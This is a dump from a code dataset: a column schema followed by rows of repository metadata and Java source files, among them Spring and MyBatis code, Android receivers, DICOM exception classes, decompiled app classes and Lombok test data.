blob_id
stringlengths 40
40
| directory_id
stringlengths 40
40
| path
stringlengths 7
390
| content_id
stringlengths 40
40
| detected_licenses
listlengths 0
35
| license_type
stringclasses 2
values | repo_name
stringlengths 6
132
| snapshot_id
stringlengths 40
40
| revision_id
stringlengths 40
40
| branch_name
stringclasses 539
values | visit_date
timestamp[us]date 2016-08-02 21:09:20
2023-09-06 10:10:07
| revision_date
timestamp[us]date 1990-01-30 01:55:47
2023-09-05 21:45:37
| committer_date
timestamp[us]date 2003-07-12 18:48:29
2023-09-05 21:45:37
| github_id
int64 7.28k
684M
⌀ | star_events_count
int64 0
77.7k
| fork_events_count
int64 0
48k
| gha_license_id
stringclasses 13
values | gha_event_created_at
timestamp[us]date 2012-06-11 04:05:37
2023-09-14 21:59:18
⌀ | gha_created_at
timestamp[us]date 2008-05-22 07:58:19
2023-08-28 02:39:21
⌀ | gha_language
stringclasses 62
values | src_encoding
stringclasses 26
values | language
stringclasses 1
value | is_vendor
bool 1
class | is_generated
bool 2
classes | length_bytes
int64 128
12.8k
| extension
stringclasses 11
values | content
stringlengths 128
8.19k
| authors
listlengths 1
1
| author_id
stringlengths 1
79
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
935c327bcac56ee5265e2e9502ff6adab43ee8de
|
b61b1f508d0d763150210fd55f85a98704725a09
|
/gulimall-product/src/main/java/com/atguigu/gulimall/product/exception/GulimallExceptionControllerAdvice.java
|
8a1504f8045598fd0b3d3ae959c39f0a93079127
|
[
"Apache-2.0"
] |
permissive
|
changsongyang/gulimall
|
e03578c1ee342417227df74a6393beda78f8c411
|
3364335bca6cbb8af2efbf72d5e1103eb21207e0
|
refs/heads/main
| 2023-01-04T06:36:39.849550
| 2020-10-22T13:46:01
| 2020-10-22T13:46:01
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 1,619
|
java
|
package com.atguigu.gulimall.product.exception;
import com.atguigu.common.exception.BizCodeEnume;
import com.atguigu.common.utils.R;
import lombok.extern.slf4j.Slf4j;
import org.springframework.validation.BindingResult;
import org.springframework.web.bind.MethodArgumentNotValidException;
import org.springframework.web.bind.annotation.ExceptionHandler;
import org.springframework.web.bind.annotation.RestControllerAdvice;
import java.util.HashMap;
import java.util.Map;
/**
* 统一异常处理
* @author dengzhiming
* @date 2020/10/11 20:46
*/
@Slf4j
//@ControllerAdvice
@RestControllerAdvice(basePackages = "com.atguigu.gulimall.product.controller")
public class GulimallExceptionControllerAdvice {
//@ResponseBody + @ControllerAdvice = @RestControllerAdvice
@ExceptionHandler(value = MethodArgumentNotValidException.class)
public R handleVaildException(MethodArgumentNotValidException e){
log.error("数据校验出现问题: ",e);
BindingResult bindingResult = e.getBindingResult();
Map<String,String> errorMap = new HashMap<>();
bindingResult.getFieldErrors().forEach(fieldError -> {
errorMap.put(fieldError.getField(),fieldError.getDefaultMessage());
});
return R.error(BizCodeEnume.VAILD_EXCEPTION.getCode(),BizCodeEnume.VAILD_EXCEPTION.getMessage()).put("data",errorMap);
}
@ExceptionHandler(value = Exception.class)
public R handleException(Exception e){
log.error("系统未知异常: ",e);
return R.error(BizCodeEnume.UNKNOW_EXCEPTION.getCode(),BizCodeEnume.UNKNOW_EXCEPTION.getMessage());
}
}
|
[
"36990141+JavaCodeMing@users.noreply.github.com"
] |
36990141+JavaCodeMing@users.noreply.github.com
|
830d3bbd93823efce7500990412747f703d9444f
|
0013a10ff59696a7122cc7c3ba78e21efab0d267
|
/bus-image/src/main/java/org/aoju/bus/image/metric/ImageException.java
|
547f77ccb4ccbb894261e24d3bd701ccc32bbbef
|
[
"MIT"
] |
permissive
|
smile2049/bus
|
3ce28ab6631f5a26394b9370658e1b761a73ae68
|
9f95d736f23a40a3463a59f0b41b6ad6d7b0c129
|
refs/heads/master
| 2022-11-18T09:05:04.318261
| 2020-07-07T06:40:36
| 2020-07-07T06:40:36
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 5,453
|
java
|
/*********************************************************************************
* *
* The MIT License (MIT) *
* *
* Copyright (c) 2015-2020 aoju.org and other contributors. *
* *
* Permission is hereby granted, free of charge, to any person obtaining a copy *
* of this software and associated documentation files (the "Software"), to deal *
* in the Software without restriction, including without limitation the rights *
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell *
* copies of the Software, and to permit persons to whom the Software is *
* furnished to do so, subject to the following conditions: *
* *
* The above copyright notice and this permission notice shall be included in *
* all copies or substantial portions of the Software. *
* *
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR *
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, *
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE *
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER *
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, *
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN *
* THE SOFTWARE. *
********************************************************************************/
package org.aoju.bus.image.metric;
import org.aoju.bus.core.lang.exception.RelevantException;
import org.aoju.bus.image.Status;
import org.aoju.bus.image.Tag;
import org.aoju.bus.image.galaxy.Property;
import org.aoju.bus.image.galaxy.data.Attributes;
import org.aoju.bus.image.galaxy.data.VR;
import org.aoju.bus.image.galaxy.data.ValidationResult;
/**
* 自定义异常: 影像异常
*
* @author Kimi Liu
* @version 6.0.2
* @since JDK 1.8+
*/
public class ImageException extends RelevantException {
private final Attributes rsp;
private Attributes data;
public ImageException(int status) {
rsp = new Attributes();
rsp.setInt(Tag.Status, VR.US, status);
}
public ImageException(int status, String message) {
super(message);
rsp = new Attributes();
rsp.setInt(Tag.Status, VR.US, status);
setErrorComment(getMessage());
}
public ImageException(int status, Throwable cause) {
super(cause);
rsp = new Attributes();
rsp.setInt(Tag.Status, VR.US, status);
setErrorComment(getMessage());
}
public static ImageException valueOf(ValidationResult result,
Attributes attrs) {
if (result.hasNotAllowedAttributes())
return new ImageException(Status.NoSuchAttribute)
.setAttributeIdentifierList(result.tagsOfNotAllowedAttributes());
if (result.hasMissingAttributes())
return new ImageException(Status.MissingAttribute)
.setAttributeIdentifierList(result.tagsOfMissingAttributes());
if (result.hasMissingAttributeValues())
return new ImageException(Status.MissingAttributeValue)
.setDataset(new Attributes(attrs, result.tagsOfMissingAttributeValues()));
if (result.hasInvalidAttributeValues())
return new ImageException(Status.InvalidAttributeValue)
.setDataset(new Attributes(attrs, result.tagsOfInvalidAttributeValues()));
return null;
}
public ImageException setErrorComment(String val) {
if (val != null)
rsp.setString(Tag.ErrorComment, VR.LO, Property.truncate(val, 64));
return this;
}
public ImageException setErrorID(int val) {
rsp.setInt(Tag.ErrorID, VR.US, val);
return this;
}
public ImageException setEventTypeID(int val) {
rsp.setInt(Tag.EventTypeID, VR.US, val);
return this;
}
public ImageException setActionTypeID(int val) {
rsp.setInt(Tag.ActionTypeID, VR.US, val);
return this;
}
public ImageException setOffendingElements(int... tags) {
rsp.setInt(Tag.OffendingElement, VR.AT, tags);
return this;
}
public ImageException setAttributeIdentifierList(int... tags) {
rsp.setInt(Tag.AttributeIdentifierList, VR.AT, tags);
return this;
}
public ImageException setUID(int tag, String value) {
rsp.setString(tag, VR.UI, value);
return this;
}
public final Attributes getDataset() {
return data;
}
public final ImageException setDataset(Attributes data) {
this.data = data;
return this;
}
public Attributes mkRSP(int cmdField, int msgId) {
rsp.setInt(Tag.CommandField, VR.US, cmdField);
rsp.setInt(Tag.MessageIDBeingRespondedTo, VR.US, msgId);
return rsp;
}
}
|
[
"839536@qq.com"
] |
839536@qq.com
|
591eb1e256d9303133c3ba100ff9e23fc3312857
|
243eaf02e124f89a21c5d5afa707db40feda5144
|
/src/unk/com/tencent/mm/modelvideo/a.java
|
ecf7aadad3827e83ee1382fb89b1565cc51aa660
|
[] |
no_license
|
laohanmsa/WeChatRE
|
e6671221ac6237c6565bd1aae02f847718e4ac9d
|
4b249bce4062e1f338f3e4bbee273b2a88814bf3
|
refs/heads/master
| 2020-05-03T08:43:38.647468
| 2013-05-18T14:04:23
| 2013-05-18T14:04:23
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 900
|
java
|
package unk.com.tencent.mm.modelvideo;
import android.content.Context;
import android.content.Intent;
import android.os.AsyncTask;
public final class a
{
String N = null;
c YE = null;
String YF = null;
String YG = null;
String YH = null;
final AsyncTask YI = new b(this);
Context context = null;
int duration = 0;
Intent intent = null;
public final void a(Context paramContext, Intent paramIntent, c paramc)
{
this.context = paramContext;
this.intent = paramIntent;
this.N = aa.fl((String)com.tencent.mm.k.b.b(2, ""));
this.YG = w.qP().fn(this.N);
this.YH = w.qP().fm(this.N);
this.YE = paramc;
this.YI.execute(new String[0]);
}
public final void cancel()
{
this.YE = null;
}
}
/* Location: /home/danghvu/0day/WeChat/WeChat_4.5_dex2jar.jar
* Qualified Name: com.tencent.mm.modelvideo.a
* JD-Core Version: 0.6.2
*/
|
[
"danghvu@gmail.com"
] |
danghvu@gmail.com
|
298cf0d555de9ef6cb893353a11554854c047a57
|
f686e2f19ccd64d7645016d488f65c99afb87344
|
/app/src/main/java/nitish/build/com/freemium/NotificationRecive.java
|
42a5b0878614a05d502853f9b30ffccf7c7263d1
|
[
"MIT"
] |
permissive
|
AbreuY/Freemium-Music-App-Src
|
befcb64860eddc709e3772c7a51698a9b3ac57b7
|
1c3c8335fe3247616922f3633c3d6eb437695f81
|
refs/heads/master
| 2022-11-05T03:04:00.220833
| 2020-06-14T07:18:10
| 2020-06-14T07:18:10
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 2,165
|
java
|
package nitish.build.com.freemium;
// ____ _ _ _ _ _ _
// /\ | _ \ | \ | (_) | (_) | |
// / \ _ __ _ __ ___| |_) |_ _| \| |_| |_ _ ___| |__
// / /\ \ | '_ \| '_ \/ __| _ <| | | | . ` | | __| / __| '_ \
// / ____ \| |_) | |_) \__ \ |_) | |_| | |\ | | |_| \__ \ | | |
// /_/ \_\ .__/| .__/|___/____/ \__, |_| \_|_|\__|_|___/_| |_|
// | | | | __/ |
// |_| |_| |___/
//
// Freemium Music
// Developed and Maintained by Nitish Gadangi
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
import com.tonyodev.fetch2.Fetch;
import com.tonyodev.fetch2.FetchConfiguration;
public class NotificationRecive extends BroadcastReceiver {
Fetch fetch;
int notifId = 100;
@Override
public void onReceive(Context context, Intent intent) {
//Toast.makeText(context,"recieved",Toast.LENGTH_SHORT).show();
FetchConfiguration fetchConfiguration = new FetchConfiguration.Builder(context)
.setDownloadConcurrentLimit(1)
.build();
fetch = Fetch.Impl.getInstance(fetchConfiguration);
String action=intent.getStringExtra("action");
notifId = intent.getIntExtra("notifID",100);
Log.i("resuB1",action);
Log.i("resuB2",Integer.toString(notifId));
if(action.equals("onClick")){
}
else if(action.equals("cancel")){
cancel_d(notifId);
}
else if(action.equals("resume")){
resume_d(notifId);
}
//This is used to close the notification tray
// Intent it = new Intent(Intent.ACTION_CLOSE_SYSTEM_DIALOGS);
// context.sendBroadcast(it);
}
public void pause_d(int downId){
// fetch.pause(downId);
Log.i("resu1","pa");
}
public void cancel_d(int downId){
fetch.cancel(downId);
Log.i("resu1","ca");
}
public void resume_d(int downId){
// fetch.resume(downId);
Log.i("resu1","res");
}
}
|
[
"nitishgadangi@gmail.com"
] |
nitishgadangi@gmail.com
|
b749fedf2f9ce2cbf7073a9a26452f8b13de6cd9
|
3ef55e152decb43bdd90e3de821ffea1a2ec8f75
|
/large/module0619/src/java/module0619/a/IFoo1.java
|
cee56f3c3bffeb76b4a42e1f94147b34f9c8dbe2
|
[
"BSD-3-Clause"
] |
permissive
|
salesforce/bazel-ls-demo-project
|
5cc6ef749d65d6626080f3a94239b6a509ef145a
|
948ed278f87338edd7e40af68b8690ae4f73ebf0
|
refs/heads/master
| 2023-06-24T08:06:06.084651
| 2023-03-14T11:54:29
| 2023-03-14T11:54:29
| 241,489,944
| 0
| 5
|
BSD-3-Clause
| 2023-03-27T11:28:14
| 2020-02-18T23:30:47
|
Java
|
UTF-8
|
Java
| false
| false
| 817
|
java
|
package module0619.a;
import java.rmi.*;
import java.nio.file.*;
import java.sql.*;
/**
* Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut
* labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum.
* Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.
*
* @see java.util.logging.Filter
* @see java.util.zip.Deflater
* @see javax.annotation.processing.Completion
*/
@SuppressWarnings("all")
public interface IFoo1<Z> extends module0619.a.IFoo0<Z> {
javax.lang.model.AnnotatedConstruct f0 = null;
javax.management.Attribute f1 = null;
javax.naming.directory.DirContext f2 = null;
String getName();
void setName(String s);
Z get();
void set(Z e);
}
|
[
"gwagenknecht@salesforce.com"
] |
gwagenknecht@salesforce.com
|
44f1c62d1e66514853ce44bdf3583680a26b1c71
|
7d75dabad0ff3e3ad438c20a7eff8bb0c5855939
|
/national-agent-portal/src/main/java/com/pay/national/agent/portal/web/AppFeedBackController.java
|
9c1f86fe04021507514a94f9400a38508c1e0b0a
|
[] |
no_license
|
AgentNational/national-agent
|
668b73c7025b500adaf202ea95f4cdb4c83c813f
|
a1ab41871d834a37fd90b2c326ff3df991a4c1c1
|
refs/heads/master
| 2021-09-10T05:36:25.151823
| 2018-03-21T05:34:09
| 2018-03-21T05:34:09
| 117,088,312
| 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 5,813
|
java
|
package com.pay.national.agent.portal.web;
import java.util.Date;
import java.util.List;
import java.util.Map;
import javax.annotation.Resource;
import javax.servlet.http.HttpServletRequest;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.servlet.ModelAndView;
import com.pay.national.agent.common.persistence.Page;
import com.pay.national.agent.model.entity.AppFeedback;
import com.pay.national.agent.portal.service.common.AppFeedbackService;
/**
* @ClassName: AppFeedBackController
* @Description:TODO(这里用一句话描述这个类的作用)
* @author: xiaodi.fu
* @date: 2017年9月11日 下午4:29:18
*
*/
@Controller
@RequestMapping("/appFeedBack")
public class AppFeedBackController {
private Logger logger = LoggerFactory.getLogger(AppFeedBackController.class);
@Resource
private AppFeedbackService appFeedbackService;
// //TODO SmsService接口,实现发送处理意见至用户邮箱,现阶段未定义相关接口,需后续加上。
// @Resource
// private SmsService smsService;
//
// //TODO MessagePushFacade接口,实现推送处理意见至app端,现阶段未定义相关推送接口,需后续加上。
// @Resource
// private MessagePushFacade messagePushFacade;
//
/**
* init反馈信息查询页面
* @Description 一句话描述方法的用法
* @return
* @see 需要参考的类或方法
*/
@RequestMapping("/toFeedbackQuery.action")
public ModelAndView toFeedbackQuery()
{
ModelAndView model = new ModelAndView();
model.setViewName("/feedBack/feedbackQuery");
return model;
}
/**
* 查询消息主体列表
* @Description 一句话描述方法用法
* @return
* @see 需要参考的类或方法
*/
@RequestMapping("/feedbackQuery.action")
public ModelAndView feedbackQuery(@RequestParam Map<String, Object> queryParams)
{
logger.info("feedbackQuery params : {}",queryParams);
ModelAndView model = new ModelAndView();
int currentPage = queryParams.get("currentPage") == null ? 1 : Integer.parseInt(queryParams.get("currentPage").toString());
String source = queryParams.get("appClientType") == null ? null: queryParams.get("appClientType").toString().toUpperCase();
queryParams.put("source", source);
Page<Map<String,Object>> page = new Page<Map<String,Object>>();
page.setCurrentPage(currentPage);
// 分页查询
List<Map<String,Object>> feedbackList = this.appFeedbackService.findAllFeedback(page, queryParams);
model.addObject("feedbackList", feedbackList);
model.addObject("page", page);
model.setViewName("/feedBack/feedbackQueryResult");
return model;
}
/**
*
* @Description 查询反馈详情
* @param id
* @return
* @see 需要参考的类或方法
*/
@RequestMapping("/feedbackDetail.action")
public ModelAndView feedbackDetail(@RequestParam("id") String id)
{
ModelAndView model = new ModelAndView();
AppFeedback appFeedback = this.appFeedbackService.findAppFeedbackById(id);
model.addObject("feedback", appFeedback);
model.setViewName("/feedBack/feedbackDetail");
return model;
}
/**
*
* @Description 处理反馈跳转
* @param id
* @return
* @see 需要参考的类或方法
*/
@RequestMapping("/toFeedbackModify.action")
public ModelAndView toFeedbackModify(@RequestParam("id") String id)
{
ModelAndView model = new ModelAndView();
AppFeedback appFeedback = appFeedbackService.findAppFeedbackById(id);
model.addObject("feedback", appFeedback);
model.setViewName("/feedBack/feedbackEdit");
return model;
}
/**
*
* @Description 处理反馈
* @param id
* @return
* @see 需要参考的类或方法
*/
@RequestMapping("/feedbackModify.action")
public ModelAndView feedbackModify(@RequestParam("feedId") String feedId,@RequestParam("remark") String remark,@RequestParam("type") String[] type,
HttpServletRequest request)
{
ModelAndView model = new ModelAndView();
/*测试时需要注掉,否则报nullpointexception 因为操作员需要集成boss之后才能获取,*/
// Authorization auth = (Authorization) request.getSession().getAttribute(Constants.SESSION_AUTH);
// String userName = auth.getUserName();
AppFeedback appFeedback = appFeedbackService.findAppFeedbackById(feedId);
/*处理checkbox选择的返回类型*/
for(String s : type){
dealReturnType(s ,appFeedback ,remark);
}
appFeedback.setReturnType(appFeedback.arrayToString(type));
appFeedback.setRemark(remark);
appFeedback.setOperatorTime(new Date());
appFeedback.setStatus("SUCCESS");
// appFeedback.setOperator(userName);//测试时需要注掉。
appFeedbackService.modify(appFeedback);
model.setViewName("/feedBack/feedbackQuery");
return model;
}
/**
* 处理意见返回
* @Description 一句话描述方法的用法
* @see 需要参考的类或方法
*/
public void dealReturnType(String s,AppFeedback appFeedback ,String remark){
//判断是否需要发送短信
/*if(s.equals("sms")){
boolean flag = smsService.sendSms(appFeedback.getPhone(), remark ,true);
if(flag){
appFeedback.setIsRead("Y");//修改发送信息状态
}
}else if(s.equals("message")){
Map<String, String> extras = new HashMap<String, String>();
extras.put("type", "MESSAGE");
boolean flag = messagePushFacade.push(appFeedback.getPhone(), "N", "反馈处理", appFeedback.getRemark(), true,extras);
if(!flag)
{
logger.error("messagePushFacade 推送反馈处理失败!");
}
}*/
}
}
|
[
"18205601657@163.com"
] |
18205601657@163.com
|
fa3a0d427d83ba2d69a93a692621ac41aaaf597b
|
ed3cb95dcc590e98d09117ea0b4768df18e8f99e
|
/project_1_3/src/b/c/a/g/Calc_1_3_12065.java
|
01a02a9db9895f41708e12e53a5d3d4114d90365
|
[] |
no_license
|
chalstrick/bigRepo1
|
ac7fd5785d475b3c38f1328e370ba9a85a751cff
|
dad1852eef66fcec200df10083959c674fdcc55d
|
refs/heads/master
| 2016-08-11T17:59:16.079541
| 2015-12-18T14:26:49
| 2015-12-18T14:26:49
| 48,244,030
| 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 134
|
java
|
package b.c.a.g;
public class Calc_1_3_12065 {
/** @return the sum of a and b */
public int add(int a, int b) {
return a+b;
}
}
|
[
"christian.halstrick@sap.com"
] |
christian.halstrick@sap.com
|
91afc06f0f3c13a82ed7237fbc9da262d78e861a
|
d7c5121237c705b5847e374974b39f47fae13e10
|
/airspan.netspan/src/main/java/Netspan/NBI_16_0/Software/SoftwareStatusGet.java
|
2105c3a85508877068c8d91488368260c9f734cd
|
[] |
no_license
|
AirspanNetworks/SWITModules
|
8ae768e0b864fa57dcb17168d015f6585d4455aa
|
7089a4b6456621a3abd601cc4592d4b52a948b57
|
refs/heads/master
| 2022-11-24T11:20:29.041478
| 2020-08-09T07:20:03
| 2020-08-09T07:20:03
| 184,545,627
| 1
| 0
| null | 2022-11-16T12:35:12
| 2019-05-02T08:21:55
|
Java
|
UTF-8
|
Java
| false
| false
| 1,909
|
java
|
package Netspan.NBI_16_0.Software;
import java.util.ArrayList;
import java.util.List;
import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlElement;
import javax.xml.bind.annotation.XmlRootElement;
import javax.xml.bind.annotation.XmlType;
/**
* <p>Java class for anonymous complex type.
*
* <p>The following schema fragment specifies the expected content contained within this class.
*
* <pre>
* <complexType>
* <complexContent>
* <restriction base="{http://www.w3.org/2001/XMLSchema}anyType">
* <sequence>
* <element name="NodeName" type="{http://www.w3.org/2001/XMLSchema}string" maxOccurs="unbounded" minOccurs="0"/>
* </sequence>
* </restriction>
* </complexContent>
* </complexType>
* </pre>
*
*
*/
@XmlAccessorType(XmlAccessType.FIELD)
@XmlType(name = "", propOrder = {
"nodeName"
})
@XmlRootElement(name = "SoftwareStatusGet")
public class SoftwareStatusGet {
@XmlElement(name = "NodeName")
protected List<String> nodeName;
/**
* Gets the value of the nodeName property.
*
* <p>
* This accessor method returns a reference to the live list,
* not a snapshot. Therefore any modification you make to the
* returned list will be present inside the JAXB object.
* This is why there is not a <CODE>set</CODE> method for the nodeName property.
*
* <p>
* For example, to add a new item, do as follows:
* <pre>
* getNodeName().add(newItem);
* </pre>
*
*
* <p>
* Objects of the following type(s) are allowed in the list
* {@link String }
*
*
*/
public List<String> getNodeName() {
if (nodeName == null) {
nodeName = new ArrayList<String>();
}
return this.nodeName;
}
}
|
[
"build.Airspan.com"
] |
build.Airspan.com
|
71c6c8b4b7cdce832fa5afea520eaef922b21126
|
55ae21722eeb3c14cc8f5df482177a1228b18356
|
/paas/src/main/java/cn/xpms/paas/api/dao/generator/repository/PaasCustomAutomationTemplateMapper.java
|
bb8ed58fed44f575f2c4e0f035db43e01bb0e04e
|
[] |
no_license
|
kemuchen/XPMS
|
5f9709b14b531d072031666b9e17b919a07f02aa
|
0499d04df40b1ecc16658d71316b182998b26e32
|
refs/heads/master
| 2023-04-02T07:54:32.901901
| 2021-04-15T03:56:27
| 2021-04-15T03:56:27
| 358,116,947
| 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 4,045
|
java
|
package cn.xpms.paas.api.dao.generator.repository;
import cn.xpms.paas.api.dao.generator.entity.PaasCustomAutomationTemplate;
import cn.xpms.paas.api.dao.generator.entity.PaasCustomAutomationTemplateExample;
import java.util.List;
import org.apache.ibatis.annotations.Param;
import org.apache.ibatis.session.RowBounds;
import org.springframework.stereotype.Repository;
@Repository
public interface PaasCustomAutomationTemplateMapper {
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table paas_custom_automation_template
*
* @mbg.generated Wed Apr 14 10:55:22 CST 2021
*/
long countByExample(PaasCustomAutomationTemplateExample example);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table paas_custom_automation_template
*
* @mbg.generated Wed Apr 14 10:55:22 CST 2021
*/
int deleteByExample(PaasCustomAutomationTemplateExample example);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table paas_custom_automation_template
*
* @mbg.generated Wed Apr 14 10:55:22 CST 2021
*/
int deleteByPrimaryKey(Integer id);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table paas_custom_automation_template
*
* @mbg.generated Wed Apr 14 10:55:22 CST 2021
*/
int insert(PaasCustomAutomationTemplate record);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table paas_custom_automation_template
*
* @mbg.generated Wed Apr 14 10:55:22 CST 2021
*/
int insertSelective(PaasCustomAutomationTemplate record);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table paas_custom_automation_template
*
* @mbg.generated Wed Apr 14 10:55:22 CST 2021
*/
List<PaasCustomAutomationTemplate> selectByExampleWithRowbounds(PaasCustomAutomationTemplateExample example, RowBounds rowBounds);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table paas_custom_automation_template
*
* @mbg.generated Wed Apr 14 10:55:22 CST 2021
*/
List<PaasCustomAutomationTemplate> selectByExample(PaasCustomAutomationTemplateExample example);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table paas_custom_automation_template
*
* @mbg.generated Wed Apr 14 10:55:22 CST 2021
*/
PaasCustomAutomationTemplate selectByPrimaryKey(Integer id);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table paas_custom_automation_template
*
* @mbg.generated Wed Apr 14 10:55:22 CST 2021
*/
int updateByExampleSelective(@Param("record") PaasCustomAutomationTemplate record, @Param("example") PaasCustomAutomationTemplateExample example);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table paas_custom_automation_template
*
* @mbg.generated Wed Apr 14 10:55:22 CST 2021
*/
int updateByExample(@Param("record") PaasCustomAutomationTemplate record, @Param("example") PaasCustomAutomationTemplateExample example);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table paas_custom_automation_template
*
* @mbg.generated Wed Apr 14 10:55:22 CST 2021
*/
int updateByPrimaryKeySelective(PaasCustomAutomationTemplate record);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table paas_custom_automation_template
*
* @mbg.generated Wed Apr 14 10:55:22 CST 2021
*/
int updateByPrimaryKey(PaasCustomAutomationTemplate record);
}
|
[
"2584073978@qq.com"
] |
2584073978@qq.com
|
f4a6d1c41b9b83617004c3e12e99b41849bf67e8
|
3735a07d455d7b40613c3c4160aa8b1cb1b3472a
|
/plugins/lombok/testData/highlighting/LombokBasics.java
|
41f4519a818f0fb56300a525673dbf30c2d34741
|
[
"Apache-2.0"
] |
permissive
|
caofanCPU/intellij-community
|
ede9417fc4ccb4b5efefb099906e4abe6871f3b4
|
5ad3e2bdf3c83d86e7c4396f5671929768d76999
|
refs/heads/master
| 2023-02-27T21:38:33.416107
| 2021-02-05T06:37:40
| 2021-02-05T06:37:40
| 321,209,485
| 1
| 0
|
Apache-2.0
| 2021-02-05T06:37:41
| 2020-12-14T02:22:32
| null |
UTF-8
|
Java
| false
| false
| 2,124
|
java
|
import lombok.*;
@ToString
@EqualsAndHashCode
@AllArgsConstructor
public final class LombokBasics {
@Getter @Setter
// should not be marked as unused
private int age = <warning descr="Variable 'age' initializer '10' is redundant">10</warning>;
void test(LombokBasics other) {
setAge(20); // setter should be resolved
System.out.println(getAge()); // getter should be resolved
System.out.println(this.toString()); // toString is defined
if (this <warning descr="Object values are compared using '==', not 'equals()'">==</warning> other) {} // equals is implicitly defined
}
public static void main(String[] args) {
new LombokBasics(10).test(new LombokBasics(12));
}
}
@AllArgsConstructor
class FinalCheck {
@Getter
private int <warning descr="Field 'a' may be 'final'">a</warning>;
@Setter
private int <warning descr="Private field 'b' is assigned but never accessed">b</warning>;
@Getter @Setter
private int c;
}
final class Foo {
@Getter
String bar;
public void <warning descr="Method 'test()' is never used">test</warning>() {
bar = null;
System.out.println(getBar().trim());
}
}
class <warning descr="Class 'Outer' is never used">Outer</warning> {
void <warning descr="Method 'foo()' is never used">foo</warning>() {
@EqualsAndHashCode
class <warning descr="Local class 'Inner' is never used">Inner</warning> {
int x;
}
}
}
class IntellijInspectionNPEDemo {
@Builder
public static class SomeDataClass {
public static class <warning descr="Class 'SomeDataClassBuilder' is never used">SomeDataClassBuilder</warning> {
private void <warning descr="Private method 'buildWithJSON()' is never used">buildWithJSON</warning>() {
this.jsonObject = "test";
}
}
public final String jsonObject;
}
}
class <warning descr="Class 'InitializerInVar' is never used">InitializerInVar</warning> {
public void <warning descr="Method 'foo()' is never used">foo</warning>() {
var x = 1; // expect no "not used initializer" warning
try { x = 3; } catch (NullPointerException e) { x = 1; }
System.out.println(x);
}
}
|
[
"intellij-monorepo-bot-no-reply@jetbrains.com"
] |
intellij-monorepo-bot-no-reply@jetbrains.com
|
9a987c3247eb61dc9a9db22a499a4ce8944e0a49
|
fa91450deb625cda070e82d5c31770be5ca1dec6
|
/Diff-Raw-Data/12/12_3ed4353b3faa35fa68e109a1175b412f5d99339c/RentalSystem/12_3ed4353b3faa35fa68e109a1175b412f5d99339c_RentalSystem_s.java
|
ab250706557c0d0d1611d5cdb2aa6e2ffbc39d62
|
[] |
no_license
|
zhongxingyu/Seer
|
48e7e5197624d7afa94d23f849f8ea2075bcaec0
|
c11a3109fdfca9be337e509ecb2c085b60076213
|
refs/heads/master
| 2023-07-06T12:48:55.516692
| 2023-06-22T07:55:56
| 2023-06-22T07:55:56
| 259,613,157
| 6
| 2
| null | 2023-06-22T07:55:57
| 2020-04-28T11:07:49
| null |
UTF-8
|
Java
| false
| false
| 814
|
java
|
//Import all models
package Controller;
import Model.*;
import Model.CustomerPackage.*;
import Model.ItemPackage.*;
import Model.NewsletterPackage.*;
public class RentalSystem
{
CustomerHandler CustomerH;
ItemHandler ItemH;
NewsletterHandler NewsletterH;
RentalHandler RentalH;
SearchHandler SearchH;
Database databse;
//Construct
public RentalSystem(){
//Handlers and Database
this.CustomerH = new CustomerHandler();
this.ItemH = new ItemHandler();
this.NewsletterH = new NewsletterHandler();
this.RentalH = new RentalHandler();
this.SearchH = new SearchHandler();
this.databse = new Database();
//---------------------------------------
}
public static void main(String[] args)
{
RentalSystem test = new RentalSystem();
}
}
|
[
"yuzhongxing88@gmail.com"
] |
yuzhongxing88@gmail.com
|
62f4d3a91ac1797b44924c3569f0a90c3041c0f0
|
a57a63100d60ff094518568e1d0fc445ab279553
|
/1.JavaSyntax/src/com/javarush/task/task04/task0438/Solution.java
|
acedd486ee193b272df4694aa0788a7e0e3533c1
|
[] |
no_license
|
dananita/TasksfromJavaRush
|
cc4c5a5c37a131948becd12dc3a8ea4d3b9234b2
|
456c714b7dfb8212ac7ea1200044a1d1e118c5fa
|
refs/heads/master
| 2021-09-11T19:37:26.166085
| 2018-04-11T15:03:22
